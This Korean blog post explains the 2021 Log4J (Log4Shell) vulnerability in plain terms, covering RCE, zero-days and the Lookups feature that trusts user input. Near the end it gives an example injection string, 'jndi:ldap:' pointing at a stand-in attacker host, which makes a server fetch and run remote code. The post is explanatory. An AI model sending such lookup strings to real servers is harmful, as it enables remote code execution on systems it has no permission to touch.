LOG4J(log4 shell)이슈

2021. 12. 23. 00:27잡다한 IT

최근 핫하다 못해 한여름 12시 대구 동성로 한가운데와 같이 따뜻한 이슈가 있다. 바로 Log4J이슈인데 도당체 이게 뭐하는 아이일까?

 

한가닥 한다는 에플, 아마존, 구글 등등 초거대 기업들을 포함한 대부분의 IT기업에서 보안 관련 이슈가 발생했다. 한중 공성전과 비교도 안될정도의 해킹 공방전이 일어나는 중인데 이 상황이 얼마나 심각하냐면, CVSS(common vulnerabilities scoring system)등급이 무려 10/10으로 최고점이다. 즉 피해범위가 얼마나 되는지, 어느정도 규모인지 전혀 산출불가이며, 누가 언제 어디서 해킹당했는지 파악 불가 라는 의미이다. 현 상황은 RCE 0-day 취약점이다. 

 

RCE(remote code execution 원격 코드 실행)
즉 해커가 타인의 서버를 해킹해 그곳에서 마음대로 코드를 실행할 수 있다는 의미이다. DB가 싹 다 날라가거나 암호화가 걸려서 사용을 할 수 없거나 외부로 유출되는 등 최악의 결과를 맞이할 수 있게 된다.

0-day : 해커만이 알고있는 시스템적인 결함을 의미한다. 즉 개발자, 보안담당자 등등 그 어떤 사람도 모르고 이 프로그렘을 해킹할 해킹범 당사자만 알고 있기 때문에 해킹을 당할거라는 사실을 파악하고 보안을 하기위해 사용할 수 있는 시간이 0일이다 라는 의미이다. 이미 해킹당하는 중이니까 즉 최우선으로 빠르게 수정해야한다.

 

2021년 12월 9일 알리바바 보안팀에 의해 최초로 발견됬는데 cloudFlare 최고경영자인 mattehw prince에 의하면 최소 그 달 1일부터 해킹에 사용되고 있었다고 이야기 한다.

 

뜬금없이 왜 이런 일이 일어나게 되었냐면 바로 JAVA 의 log4j라는 로그 기록 프레임워크 때문에 일어나게 되었다. 기본적으로 웹서버를 운용할때 .net(최근에 이거 공부하는데 너무 힘들다. 살려줘 왜 C#을 해야하는가)과 같은 것도 사용하지만 대부분의 경우 java를 사용한다. 수요와 공급법칙에 의해 많은 수요가 있으면 많은 공급이 있는법. 130억개가 넘는 java기반의 웹사이트, 어플리케이션 등등이 운용되고 있는데 아무튼 많은 공급이 있기때문에 피해범위도 어마무시하게 늘어났다 라고 이해하면 조금 편할것 이다. 그럼 근본 원인인 왜 널리 쓰일까에 대해 먼저 알아보자.

 

기본적으로 프로그렘에서 일어나는 모든 상황은 기록되어야 하며 이것을 로그로 보관하는게 원칙이다. 이때 log4j는 로그를 포맷팅하고 필터링하고 어플리케이션 파일로 기록하는 역할을 한다. 즉 자바를 사용하는 어플리케이션이라면 이렇게 쉽고 편한 페키지를 사용할 수 밖에 없는것이다. 쉽고 편하고 빠른 페키지라니 이 얼마나 완벽(했던)한가.

 

뜬금없지만 정말 옛날에 헝그리앱 이라는 곳을 사용해 본적이 있다. 여기서 보안 취약점을 하나 발견했는데 글을 쓸때 제목과 내용을 <br>로 하고 저장을 하게 된다면 화면에 나타나는건 <br>이라는 텍스트가 아닌 html에서 사용하는 <br> 즉 엔터, 혹은 공백 란이 형성된다.
즉 유저가 작성하는 데이터를 실행(신뢰)하게 된 것이라고 볼 수 있다.
(최근에 확인해 보니 저렇게 사용할시 글이 &lt;br&gt;  이렇게 깨져서 나오더라.)


2010년 7월 8일자 KISA에 의하면 어떤 클라이언트도 신뢰하지마라. ==> never trust user input 이라는 말이 있다. 아무튼 10년도 더 전부터 강조했던 내용이었지만 Log4J의 Lookups이라는 기능이 이것을 지키지 않았고 그로 인해 지금과 같은 상황이 발생한 것이다. Lookups은 어느정도의 유저의 입력을 신뢰했기 때문에....

현 상황에서 해커가 Log4J로 해킹을 하는방법을 살펴보자.
먼저 해커가 서버에 요청을 할때 (글을 쓴다거나 삭제한다거나 뭐 기타등등 어떤 행동을 할때) 여기에 String(jndi:ldap:bububu.com/a) 와 같은 문자열을 같이 서버에 요청했다고 하자. Log4j는 이 문자열을 로그에 넣고 해당하는 URL을 부를것이다.  서버는 해당 URL만 부르는것이 아니라 호스팅 되어있는 코드가 해당 공격 받는 서버에서도 실행될 수 있다는 것 이다.

2줄로 요약하면
1.해커가 해당 문자열을 포함한 메세지를 발송한다.
2.서버는 해커의 서버에 접속해 코드를 실행한다.

'잡다한 IT' 카테고리의 다른 글

개발자란 무엇일까?  (0) 2022.01.01
Log4J 문제의 후속내용(업데이트재귀...?)  (0) 2021.12.27
2.4GHz vs 5GHz  (0) 2021.10.07
컴알못을 한 번에 이해시키는 방법.(feat 에타)  (0) 2021.10.04
Bluetooth vs Wi-Fi  (0) 2021.08.12